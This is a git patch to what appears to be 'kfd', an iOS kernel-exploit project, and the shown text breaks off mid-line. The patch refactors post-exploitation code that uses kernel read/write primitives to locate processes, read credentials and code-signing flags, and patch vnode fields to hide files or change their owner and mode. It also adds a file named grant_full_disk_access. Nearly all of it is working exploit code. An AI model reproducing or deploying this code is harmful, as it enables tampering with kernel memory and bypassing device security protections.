From 2399a4c0804f358a53283509ad522cd40206566c Mon Sep 17 00:00:00 2001 From: Lrdsnow <63671193+Lrdsnow@users.noreply.github.com> Date: Sat, 29 Jul 2023 12:10:11 -0700 Subject: [PATCH] test --- .DS_Store | Bin 6148 -> 6148 bytes kfd.xcodeproj/project.pbxproj | 76 ++- kfd/.DS_Store | Bin 8196 -> 8196 bytes kfd/ContentView.swift | 2 +- kfd/fun/fun.h | 2 +- kfd/fun/fun.m | 769 +++++------------------------ kfd/fun/grant_full_disk_access.h | 5 + kfd/fun/grant_full_disk_access.m | 624 +++++++++++++++++++++++ kfd/fun/helpers.h | 11 +- kfd/fun/helpers.m | 12 +- kfd/fun/krw.c | 81 +-- kfd/fun/krw.h | 25 +- kfd/fun/offsets.h | 9 +- kfd/fun/offsets.m | 112 +---- kfd/fun/proc.c | 95 ++++ kfd/fun/proc.h | 14 + kfd/fun/thanks_opa334dev_htrowii.h | 9 + kfd/fun/thanks_opa334dev_htrowii.m | 195 ++++++++ kfd/fun/vnode.c | 272 ++++++++++ kfd/fun/vnode.h | 46 ++ kfd/libkfd/info/static_info.h | 2 +- 21 files changed, 1532 insertions(+), 829 deletions(-) create mode 100644 kfd/fun/grant_full_disk_access.h create mode 100644 kfd/fun/grant_full_disk_access.m create mode 100644 kfd/fun/proc.c create mode 100644 kfd/fun/proc.h create mode 100644 kfd/fun/thanks_opa334dev_htrowii.h create mode 100644 kfd/fun/thanks_opa334dev_htrowii.m create mode 100644 kfd/fun/vnode.c create mode 100644 kfd/fun/vnode.h diff --git a/.DS_Store b/.DS_Store index 4ecb38c8e455b235d10777d00e05d2ff72fa5cbd..65d243a10c3a9a8ceec4a2e3ff51d47a984906b7 100644 GIT binary patch delta 104 zcmZoMXffE}&ce83vIk3{xhIQcA$xA`8c2GeGCj=%f> Dt&JoN delta 102 zcmZoMXffE}&ce8TvIk3{ns{}!rJ0U`p@BiIjzYDik%5kasikpkEhmSlvc7dte0EN5 zUVi7~2Q2c8U6WXAm^4HtZ(voJJdc%&RZ8 D6jLAY diff --git a/kfd.xcodeproj/project.pbxproj b/kfd.xcodeproj/project.pbxproj index 689b4732..63c6b679 100644 --- a/kfd.xcodeproj/project.pbxproj +++ b/kfd.xcodeproj/project.pbxproj @@ -11,10 +11,14 @@ 297BA10B2A310AE100D1E51A /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 297BA10A2A310AE100D1E51A /* ContentView.swift */; }; 297BA10D2A310AE200D1E51A /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 297BA10C2A310AE200D1E51A /* Assets.xcassets */; }; 297BA1112A310AE200D1E51A /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 297BA1102A310AE200D1E51A /* Preview Assets.xcassets */; }; - 65853C042A7558B500515C45 /* fun.m in Sources */ = {isa = PBXBuildFile; fileRef = 65853BFE2A7558B500515C45 /* fun.m */; }; - 65853C052A7558B500515C45 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 65853BFF2A7558B500515C45 /* helpers.m */; }; - 65853C062A7558B500515C45 /* krw.c in Sources */ = {isa = PBXBuildFile; fileRef = 65853C002A7558B500515C45 /* krw.c */; }; - 65853C072A7558B500515C45 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 65853C012A7558B500515C45 /* offsets.m */; }; + 657CB5812A75973700DA0C68 /* fun.m in Sources */ = {isa = PBXBuildFile; fileRef = 657CB5762A75973700DA0C68 /* fun.m */; }; + 657CB5822A75973700DA0C68 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 657CB5772A75973700DA0C68 /* grant_full_disk_access.m */; }; + 657CB5832A75973700DA0C68 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 657CB5782A75973700DA0C68 /* helpers.m */; }; + 657CB5842A75973700DA0C68 /* thanks_opa334dev_htrowii.m in Sources */ = {isa = PBXBuildFile; fileRef = 657CB5792A75973700DA0C68 /* thanks_opa334dev_htrowii.m */; }; + 657CB5852A75973700DA0C68 /* krw.c in Sources */ = {isa = PBXBuildFile; fileRef = 657CB57A2A75973700DA0C68 /* krw.c */; }; + 657CB5862A75973700DA0C68 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 657CB57B2A75973700DA0C68 /* offsets.m */; }; + 657CB5872A75973700DA0C68 /* vnode.c in Sources */ = {isa = PBXBuildFile; fileRef = 657CB57C2A75973700DA0C68 /* vnode.c */; }; + 657CB5882A75973700DA0C68 /* proc.c in Sources */ = {isa = PBXBuildFile; fileRef = 657CB57D2A75973700DA0C68 /* proc.c */; }; C806988F2A71436A001A593E /* AAAA.bin in Resources */ = {isa = PBXBuildFile; fileRef = C806988C2A71436A001A593E /* AAAA.bin */; }; C8843C232A724AA900CA0DC9 /* SwiftUtils in Frameworks */ = {isa = PBXBuildFile; productRef = C8843C222A724AA900CA0DC9 /* SwiftUtils */; }; /* End PBXBuildFile section */ @@ -42,14 +46,22 @@ 29E9572E2A6AFDA9005C43C0 /* static_info.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = static_info.h; sourceTree = ""; }; 29E9572F2A6AFDB6005C43C0 /* dynamic_info.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = dynamic_info.h; sourceTree = ""; }; 657567D12A7502E800E9D783 /* krw.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = krw.h; path = kfd/fun/krw.h; sourceTree = ""; }; - 65853BFC2A7558B500515C45 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = ""; }; - 65853BFD2A7558B500515C45 /* krw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = krw.h; sourceTree = ""; }; - 65853BFE2A7558B500515C45 /* fun.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = fun.m; sourceTree = ""; }; - 65853BFF2A7558B500515C45 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; - 65853C002A7558B500515C45 /* krw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = krw.c; sourceTree = ""; }; - 65853C012A7558B500515C45 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = ""; }; - 65853C022A7558B500515C45 /* fun.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = fun.h; sourceTree = ""; }; - 65853C032A7558B500515C45 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; + 657CB5712A75973700DA0C68 /* thanks_opa334dev_htrowii.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = thanks_opa334dev_htrowii.h; sourceTree = ""; }; + 657CB5722A75973700DA0C68 /* vnode.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vnode.h; sourceTree = ""; }; + 657CB5732A75973700DA0C68 /* proc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc.h; sourceTree = ""; }; + 657CB5742A75973700DA0C68 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = ""; }; + 657CB5752A75973700DA0C68 /* krw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = krw.h; sourceTree = ""; }; + 657CB5762A75973700DA0C68 /* fun.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = fun.m; sourceTree = ""; }; + 657CB5772A75973700DA0C68 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; + 657CB5782A75973700DA0C68 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; + 657CB5792A75973700DA0C68 /* thanks_opa334dev_htrowii.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = thanks_opa334dev_htrowii.m; sourceTree = ""; }; + 657CB57A2A75973700DA0C68 /* krw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = krw.c; sourceTree = ""; }; + 657CB57B2A75973700DA0C68 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = ""; }; + 657CB57C2A75973700DA0C68 /* vnode.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vnode.c; sourceTree = ""; }; + 657CB57D2A75973700DA0C68 /* proc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = proc.c; sourceTree = ""; }; + 657CB57E2A75973700DA0C68 /* fun.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = fun.h; sourceTree = ""; }; + 657CB57F2A75973700DA0C68 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; + 657CB5802A75973700DA0C68 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; 658C54B52A7419310003EA04 /* com.apple.MobileGestalt.plist */ = {isa = PBXFileReference; lastKnownFileType = file.bplist; path = com.apple.MobileGestalt.plist; sourceTree = ""; }; C806988C2A71436A001A593E /* AAAA.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = AAAA.bin; sourceTree = ""; }; /* End PBXFileReference section */ @@ -69,7 +81,7 @@ 2948BA6A2A3162C600B2ED3C /* libkfd */ = { isa = PBXGroup; children = ( - 65853BFB2A7558B500515C45 /* fun */, + 657CB5702A75973700DA0C68 /* fun */, 658C54B52A7419310003EA04 /* com.apple.MobileGestalt.plist */, C806988C2A71436A001A593E /* AAAA.bin */, 2948BA6E2A3162FD00B2ED3C /* common.h */, @@ -169,17 +181,25 @@ path = "Preview Content"; sourceTree = ""; }; - 65853BFB2A7558B500515C45 /* fun */ = { + 657CB5702A75973700DA0C68 /* fun */ = { isa = PBXGroup; children = ( - 65853BFC2A7558B500515C45 /* offsets.h */, - 65853BFD2A7558B500515C45 /* krw.h */, - 65853BFE2A7558B500515C45 /* fun.m */, - 65853BFF2A7558B500515C45 /* helpers.m */, - 65853C002A7558B500515C45 /* krw.c */, - 65853C012A7558B500515C45 /* offsets.m */, - 65853C022A7558B500515C45 /* fun.h */, - 65853C032A7558B500515C45 /* helpers.h */, + 657CB5712A75973700DA0C68 /* thanks_opa334dev_htrowii.h */, + 657CB5722A75973700DA0C68 /* vnode.h */, + 657CB5732A75973700DA0C68 /* proc.h */, + 657CB5742A75973700DA0C68 /* offsets.h */, + 657CB5752A75973700DA0C68 /* krw.h */, + 657CB5762A75973700DA0C68 /* fun.m */, + 657CB5772A75973700DA0C68 /* grant_full_disk_access.m */, + 657CB5782A75973700DA0C68 /* helpers.m */, + 657CB5792A75973700DA0C68 /* thanks_opa334dev_htrowii.m */, + 657CB57A2A75973700DA0C68 /* krw.c */, + 657CB57B2A75973700DA0C68 /* offsets.m */, + 657CB57C2A75973700DA0C68 /* vnode.c */, + 657CB57D2A75973700DA0C68 /* proc.c */, + 657CB57E2A75973700DA0C68 /* fun.h */, + 657CB57F2A75973700DA0C68 /* helpers.h */, + 657CB5802A75973700DA0C68 /* grant_full_disk_access.h */, ); name = fun; path = kfd/fun; @@ -263,12 +283,16 @@ isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( - 65853C042A7558B500515C45 /* fun.m in Sources */, + 657CB5822A75973700DA0C68 /* grant_full_disk_access.m in Sources */, + 657CB5812A75973700DA0C68 /* fun.m in Sources */, 297BA10B2A310AE100D1E51A /* ContentView.swift in Sources */, 297BA1092A310AE100D1E51A /* kfdApp.swift in Sources */, - 65853C062A7558B500515C45 /* krw.c in Sources */, - 65853C072A7558B500515C45 /* offsets.m in Sources */, - 65853C052A7558B500515C45 /* helpers.m in Sources */, + 657CB5832A75973700DA0C68 /* helpers.m in Sources */, + 657CB5882A75973700DA0C68 /* proc.c in Sources */, + 657CB5852A75973700DA0C68 /* krw.c in Sources */, + 657CB5872A75973700DA0C68 /* vnode.c in Sources */, + 657CB5862A75973700DA0C68 /* offsets.m in Sources */, + 657CB5842A75973700DA0C68 /* thanks_opa334dev_htrowii.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; diff --git a/kfd/.DS_Store b/kfd/.DS_Store index 5d80f83c4c574213655e51a43bf1cf505198718e..acee6ef40da1d1482b0b550b5bf51e0462b3fb85 100644 GIT binary patch delta 106 zcmV-w0G0oQK!iY$PXQ3IP`eKS5VH&rw*iys5eosilb#T9C>eWuF)=bSEFd#9Gkq)| zdpR;NEFd&9Hhp~w2o)nQJ5pb3Y;A6Di<6BK9|4TBtrA)Vk$@$$2N?DQ1OR3Lbd&KC M6SFxL&H|BuBD(D$(EtDd delta 84 zcmZp1XmOa}&nUPtU^hRb;AS3y?TjLxIr+&+Ir&Kp3=9Gc42-{l^z6wS1!Wm`Og=AI o$R<%;ZDwpVSx!WOv1_uuh&*HW<_@7K*3Ik^-&i)^5MgHq01@LDp8x;= diff --git a/kfd/ContentView.swift b/kfd/ContentView.swift index bee1ba5e..3f93b8ab 100644 --- a/kfd/ContentView.swift +++ b/kfd/ContentView.swift @@ -32,7 +32,7 @@ struct ContentView: View { Button("Open Kernel") { puafPages = puafPagesOptions[puafPagesIndex] kfd = do_kopen(UInt64(puafPages), UInt64(puafMethod), UInt64(kreadMethod), UInt64(kwriteMethod)) - do_fun(kfd) + do_fun() }.disabled(kfd != 0) .frame(minWidth: 0, maxWidth: .infinity) .foregroundColor(kfd == 0 ? .purple : .purple.opacity(0.5)) diff --git a/kfd/fun/fun.h b/kfd/fun/fun.h index 1fe620cf..0fa54758 100644 --- a/kfd/fun/fun.h +++ b/kfd/fun/fun.h @@ -10,6 +10,6 @@ #include -int do_fun(uint64_t kfd); +int do_fun(void); #endif /* fun_h */ diff --git a/kfd/fun/fun.m b/kfd/fun/fun.m index 24baa4a7..c7fff417 100644 --- a/kfd/fun/fun.m +++ b/kfd/fun/fun.m @@ -5,7 +5,6 @@ // Created by Seo Hyun-gyu on 2023/07/25. // -//#include "fun.h" #include "krw.h" #include "offsets.h" #include @@ -17,243 +16,56 @@ #include #include #include +#include "proc.h" +#include "vnode.h" +#include "grant_full_disk_access.h" +#include "thanks_opa334dev_htrowii.h" - -uint64_t getProc(uint64_t kfd, pid_t pid) { - uint64_t proc = get_kernproc(kfd); - - while (true) { - if(kread32(kfd, proc + off_p_pid) == pid) { - return proc; - } - proc = kread64(kfd, proc + off_p_list_le_prev); - } - - return 0; -} - -uint64_t getProcByName(uint64_t kfd, char* nm) { - uint64_t proc = get_kernproc(kfd); - - while (true) { - uint64_t nameptr = proc + off_p_name; - char name[32]; - do_kread(kfd, nameptr, &name, 32); -// printf("[i] pid: %d, process name: %s\n", kread32(kfd, proc + off_p_pid), name); - if(strcmp(name, nm) == 0) { - return proc; - } - proc = kread64(kfd, proc + off_p_list_le_prev); - } - - return 0; -} - -int getPidByName(uint64_t kfd, char* nm) { - return kread32(kfd, getProcByName(kfd, nm) + off_p_pid); -} - -int funProc(uint64_t kfd, uint64_t proc) { - int p_ppid = kread32(kfd, proc + off_p_ppid); - printf("[i] self proc->p_ppid: %d\n", p_ppid); - printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid); - kwrite32(kfd, proc + off_p_ppid, 0x1); - printf("[+] Patched getppid(): %u\n", getppid()); - kwrite32(kfd, proc + off_p_ppid, p_ppid); - printf("[+] Restored getppid(): %u\n", getppid()); - - int p_original_ppid = kread32(kfd, proc + off_p_original_ppid); - printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid); - - int p_pgrpid = kread32(kfd, proc + off_p_pgrpid); - printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid); - - int p_uid = kread32(kfd, proc + off_p_uid); - printf("[i] self proc->p_uid: %d\n", p_uid); - - int p_gid = kread32(kfd, proc + off_p_gid); - printf("[i] self proc->p_gid: %d\n", p_gid); +int funUcred(uint64_t proc) { + uint64_t proc_ro = kread64(proc + off_p_proc_ro); + uint64_t ucreds = kread64(proc_ro + off_p_ro_p_ucred); - int p_ruid = kread32(kfd, proc + off_p_ruid); - printf("[i] self proc->p_ruid: %d\n", p_ruid); - - int p_rgid = kread32(kfd, proc + off_p_rgid); - printf("[i] self proc->p_rgid: %d\n", p_rgid); - - int p_svuid = kread32(kfd, proc + off_p_svuid); - printf("[i] self proc->p_svuid: %d\n", p_svuid); - - int p_svgid = kread32(kfd, proc + off_p_svgid); - printf("[i] self proc->p_svgid: %d\n", p_svgid); - - int p_sessionid = kread32(kfd, proc + off_p_sessionid); - printf("[i] self proc->p_sessionid: %d\n", p_sessionid); - - uint64_t p_puniqueid = kread64(kfd, proc + off_p_puniqueid); - printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid); - - printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid); - kwrite64(kfd, proc + off_p_puniqueid, 0x4142434445464748); - printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(kfd, proc + off_p_puniqueid)); - kwrite64(kfd, proc + off_p_puniqueid, p_puniqueid); - printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(kfd, proc + off_p_puniqueid)); - - return 0; -} - -int funUcred(uint64_t kfd, uint64_t proc) { - uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro); - uint64_t ucreds = kread64(kfd, proc_ro + off_p_ro_p_ucred); - - uint64_t cr_label_pac = kread64(kfd, ucreds + off_u_cr_label); + uint64_t cr_label_pac = kread64(ucreds + off_u_cr_label); uint64_t cr_label = cr_label_pac | 0xffffff8000000000; printf("[i] self ucred->cr_label: 0x%llx\n", cr_label); // -// printf("[i] self ucred->cr_label+0x8+0x0: 0x%llx\n", kread64(kfd, kread64(kfd, cr_label+0x8))); -// printf("[i] self ucred->cr_label+0x8+0x0+0x0: 0x%llx\n", kread64(kfd, kread64(kfd, kread64(kfd, cr_label+0x8)))); -// printf("[i] self ucred->cr_label+0x10: 0x%llx\n", kread64(kfd, cr_label+0x10)); -// uint64_t OSEntitlements = kread64(kfd, cr_label+0x10); +// printf("[i] self ucred->cr_label+0x8+0x0: 0x%llx\n", kread64(kread64(cr_label+0x8))); +// printf("[i] self ucred->cr_label+0x8+0x0+0x0: 0x%llx\n", kread64(kread64(kread64(cr_label+0x8)))); +// printf("[i] self ucred->cr_label+0x10: 0x%llx\n", kread64(cr_label+0x10)); +// uint64_t OSEntitlements = kread64(cr_label+0x10); // printf("OSEntitlements: 0x%llx\n", OSEntitlements); // uint64_t CEQueryContext = OSEntitlements + 0x28; -// uint64_t der_start = kread64(kfd, CEQueryContext + 0x20); -// uint64_t der_end = kread64(kfd, CEQueryContext + 0x28); +// uint64_t der_start = kread64(CEQueryContext + 0x20); +// uint64_t der_end = kread64(CEQueryContext + 0x28); // for(int i = 0; i < 100; i++) { -// printf("OSEntitlements+0x%x: 0x%llx\n", i*8, kread64(kfd, OSEntitlements + i * 8)); +// printf("OSEntitlements+0x%x: 0x%llx\n", i*8, kread64(OSEntitlements + i * 8)); // } -// kwrite64(kfd, kread64(kfd, OSEntitlements), 0); -// kwrite64(kfd, kread64(kfd, OSEntitlements + 8), 0); -// kwrite64(kfd, kread64(kfd, OSEntitlements + 0x10), 0); -// kwrite64(kfd, kread64(kfd, OSEntitlements + 0x20), 0); +// kwrite64(kread64(OSEntitlements), 0); +// kwrite64(kread64(OSEntitlements + 8), 0); +// kwrite64(kread64(OSEntitlements + 0x10), 0); +// kwrite64(kread64(OSEntitlements + 0x20), 0); uint64_t cr_posix_p = ucreds + off_u_cr_posix; - printf("[i] self ucred->posix_cred->cr_uid: %u\n", kread32(kfd, cr_posix_p + off_cr_uid)); - printf("[i] self ucred->posix_cred->cr_ruid: %u\n", kread32(kfd, cr_posix_p + off_cr_ruid)); - printf("[i] self ucred->posix_cred->cr_svuid: %u\n", kread32(kfd, cr_posix_p + off_cr_svuid)); - printf("[i] self ucred->posix_cred->cr_ngroups: %u\n", kread32(kfd, cr_posix_p + off_cr_ngroups)); - printf("[i] self ucred->posix_cred->cr_groups: %u\n", kread32(kfd, cr_posix_p + off_cr_groups)); - printf("[i] self ucred->posix_cred->cr_rgid: %u\n", kread32(kfd, cr_posix_p + off_cr_rgid)); - printf("[i] self ucred->posix_cred->cr_svgid: %u\n", kread32(kfd, cr_posix_p + off_cr_svgid)); - printf("[i] self ucred->posix_cred->cr_gmuid: %u\n", kread32(kfd, cr_posix_p + off_cr_gmuid)); - printf("[i] self ucred->posix_cred->cr_flags: %u\n", kread32(kfd, cr_posix_p + off_cr_flags)); + printf("[i] self ucred->posix_cred->cr_uid: %u\n", kread32(cr_posix_p + off_cr_uid)); + printf("[i] self ucred->posix_cred->cr_ruid: %u\n", kread32(cr_posix_p + off_cr_ruid)); + printf("[i] self ucred->posix_cred->cr_svuid: %u\n", kread32(cr_posix_p + off_cr_svuid)); + printf("[i] self ucred->posix_cred->cr_ngroups: %u\n", kread32(cr_posix_p + off_cr_ngroups)); + printf("[i] self ucred->posix_cred->cr_groups: %u\n", kread32(cr_posix_p + off_cr_groups)); + printf("[i] self ucred->posix_cred->cr_rgid: %u\n", kread32(cr_posix_p + off_cr_rgid)); + printf("[i] self ucred->posix_cred->cr_svgid: %u\n", kread32(cr_posix_p + off_cr_svgid)); + printf("[i] self ucred->posix_cred->cr_gmuid: %u\n", kread32(cr_posix_p + off_cr_gmuid)); + printf("[i] self ucred->posix_cred->cr_flags: %u\n", kread32(cr_posix_p + off_cr_flags)); return 0; } -uint64_t getVnodeAtPath(uint64_t kfd, char* filename) { - int file_index = open(filename, O_RDONLY); - if (file_index == -1) return -1; - - uint64_t proc = getProc(kfd, getpid()); - uint64_t filedesc_pac = kread64(kfd, proc + off_p_pfd); - uint64_t filedesc = filedesc_pac | 0xffffff8000000000; - uint64_t openedfile = kread64(kfd, filedesc + (8 * file_index)); - uint64_t fileglob_pac = kread64(kfd, openedfile + off_fp_fglob); - uint64_t fileglob = fileglob_pac | 0xffffff8000000000; - uint64_t vnode_pac = kread64(kfd, fileglob + off_fg_data); - uint64_t vnode = vnode_pac | 0xffffff8000000000; - - printf("[i] %s vnode: 0x%llx\n", filename, vnode); - close(file_index); - - return vnode; -} - -uint64_t funVnodeHide(uint64_t kfd, char* filename) { - uint64_t vnode = getVnodeAtPath(kfd, filename); - if(vnode == -1) { - printf("[-] Unable to get vnode, filename: %s", filename); - return -1; - } +int funCSFlags(char* process) { + uint64_t pid = getPidByName(process); + uint64_t proc = getProc(pid); - //vnode_ref, vnode_get - uint32_t usecount = kread32(kfd, vnode + off_vnode_v_usecount); - uint32_t iocount = kread32(kfd, vnode + off_vnode_v_iocount); - printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount); - kwrite32(kfd, vnode + off_vnode_v_usecount, usecount + 1); - kwrite32(kfd, vnode + off_vnode_v_iocount, iocount + 1); - -#define VISSHADOW 0x008000 - //hide file - uint32_t v_flags = kread32(kfd, vnode + off_vnode_v_flag); - printf("[i] vnode->v_flags: 0x%x\n", v_flags); - kwrite32(kfd, vnode + off_vnode_v_flag, (v_flags | VISSHADOW)); - - //exist test (should not be exist - printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); - - //show file - v_flags = kread32(kfd, vnode + off_vnode_v_flag); - kwrite32(kfd, vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW)); - - printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); - - //restore vnode iocount, usecount - usecount = kread32(kfd, vnode + off_vnode_v_usecount); - iocount = kread32(kfd, vnode + off_vnode_v_iocount); - if(usecount > 0) - kwrite32(kfd, vnode + off_vnode_v_usecount, usecount - 1); - if(iocount > 0) - kwrite32(kfd, vnode + off_vnode_v_iocount, iocount - 1); - - return 0; -} - -uint64_t funVnodeChown(uint64_t kfd, char* filename, uid_t uid, gid_t gid) { - - uint64_t vnode = getVnodeAtPath(kfd, filename); - if(vnode == -1) { - printf("[-] Unable to get vnode, filename: %s", filename); - return -1; - } - - uint64_t v_data = kread64(kfd, vnode + off_vnode_v_data); - uint32_t v_uid = kread32(kfd, v_data + 0x80); - uint32_t v_gid = kread32(kfd, v_data + 0x84); - - //vnode->v_data->uid - printf("[i] Patching %s vnode->v_uid %d -> %d\n", filename, v_uid, uid); - kwrite32(kfd, v_data+0x80, uid); - //vnode->v_data->gid - printf("[i] Patching %s vnode->v_gid %d -> %d\n", filename, v_gid, gid); - kwrite32(kfd, v_data+0x84, gid); - - struct stat file_stat; - if(stat(filename, &file_stat) == 0) { - printf("[i] %s UID: %d\n", filename, file_stat.st_uid); - printf("[i] %s GID: %d\n", filename, file_stat.st_gid); - } - - return 0; -} - -uint64_t funVnodeChmod(uint64_t kfd, char* filename, mode_t mode) { - uint64_t vnode = getVnodeAtPath(kfd, filename); - if(vnode == -1) { - printf("[-] Unable to get vnode, filename: %s", filename); - return -1; - } - - uint64_t v_data = kread64(kfd, vnode + off_vnode_v_data); - uint32_t v_mode = kread32(kfd, v_data + 0x88); - - printf("[i] Patching %s vnode->v_mode %o -> %o\n", filename, v_mode, mode); - kwrite32(kfd, v_data+0x88, mode); - - struct stat file_stat; - if(stat(filename, &file_stat) == 0) { - printf("[i] %s mode: %o\n", filename, file_stat.st_mode); - } - - return 0; -} - -int funCSFlags(uint64_t kfd, char* process) { - uint64_t pid = getPidByName(kfd, process); - uint64_t proc = getProc(kfd, pid); - - uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro); - uint32_t csflags = kread32(kfd, proc_ro + off_p_ro_p_csflags); + uint64_t proc_ro = kread64(proc + off_p_proc_ro); + uint32_t csflags = kread32(proc_ro + off_p_ro_p_csflags); printf("[i] %s proc->proc_ro->p_csflags: 0x%x\n", process, csflags); #define TF_PLATFORM 0x400 @@ -271,25 +83,25 @@ int funCSFlags(uint64_t kfd, char* process) { // csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL); // sleep(3); -// kwrite32(kfd, proc_ro + off_p_ro_p_csflags, csflags); +// kwrite32(proc_ro + off_p_ro_p_csflags, csflags); return 0; } -int funTask(uint64_t kfd, char* process) { - uint64_t pid = getPidByName(kfd, process); - uint64_t proc = getProc(kfd, pid); +int funTask(char* process) { + uint64_t pid = getPidByName(process); + uint64_t proc = getProc(pid); printf("[i] %s proc: 0x%llx\n", process, proc); - uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro); + uint64_t proc_ro = kread64(proc + off_p_proc_ro); - uint64_t pr_proc = kread64(kfd, proc_ro + off_p_ro_pr_proc); + uint64_t pr_proc = kread64(proc_ro + off_p_ro_pr_proc); printf("[i] %s proc->proc_ro->pr_proc: 0x%llx\n", process, pr_proc); - uint64_t pr_task = kread64(kfd, proc_ro + off_p_ro_pr_task); + uint64_t pr_task = kread64(proc_ro + off_p_ro_pr_task); printf("[i] %s proc->proc_ro->pr_task: 0x%llx\n", process, pr_task); //proc_is64bit_data+0x18: LDR W8, [X8,#0x3D0] - uint32_t t_flags = kread32(kfd, pr_task + off_task_t_flags); + uint32_t t_flags = kread32(pr_task + off_task_t_flags); printf("[i] %s task->t_flags: 0x%x\n", process, t_flags); @@ -301,154 +113,28 @@ int funTask(uint64_t kfd, char* process) { #define TFRO_PAC_EXC_FATAL 0x00010000 /* task is marked a corpse if a PAC exception occurs */ #define TFRO_PAC_ENFORCE_USER_STATE 0x01000000 /* Enforce user and kernel signed thread state */ - uint32_t t_flags_ro = kread64(kfd, proc_ro + off_p_ro_t_flags_ro); + uint32_t t_flags_ro = kread64(proc_ro + off_p_ro_t_flags_ro); printf("[i] %s proc->proc_ro->t_flags_ro: 0x%x\n", process, t_flags_ro); return 0; } -uint64_t findRootVnode(uint64_t kfd) { - uint64_t launchd_proc = getProc(kfd, 1); - - uint64_t textvp_pac = kread64(kfd, launchd_proc + off_p_textvp); - uint64_t textvp = textvp_pac | 0xffffff8000000000; - printf("[i] launchd proc->textvp: 0x%llx\n", textvp); - - uint64_t textvp_nameptr = kread64(kfd, textvp + off_vnode_v_name); - uint64_t textvp_name = kread64(kfd, textvp_nameptr); - uint64_t devvp = kread64(kfd, (kread64(kfd, textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); - uint64_t nameptr = kread64(kfd, devvp + off_vnode_v_name); - uint64_t name = kread64(kfd, nameptr); - char* devName = &name; - printf("[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\n", &textvp_name, devName); - - uint64_t sbin_vnode = kread64(kfd, textvp + off_vnode_v_parent) | 0xffffff8000000000; - textvp_nameptr = kread64(kfd, sbin_vnode + off_vnode_v_name); - textvp_name = kread64(kfd, textvp_nameptr); - devvp = kread64(kfd, (kread64(kfd, textvp + off_vnode_v_mount) | 0xffffff8000000000) + 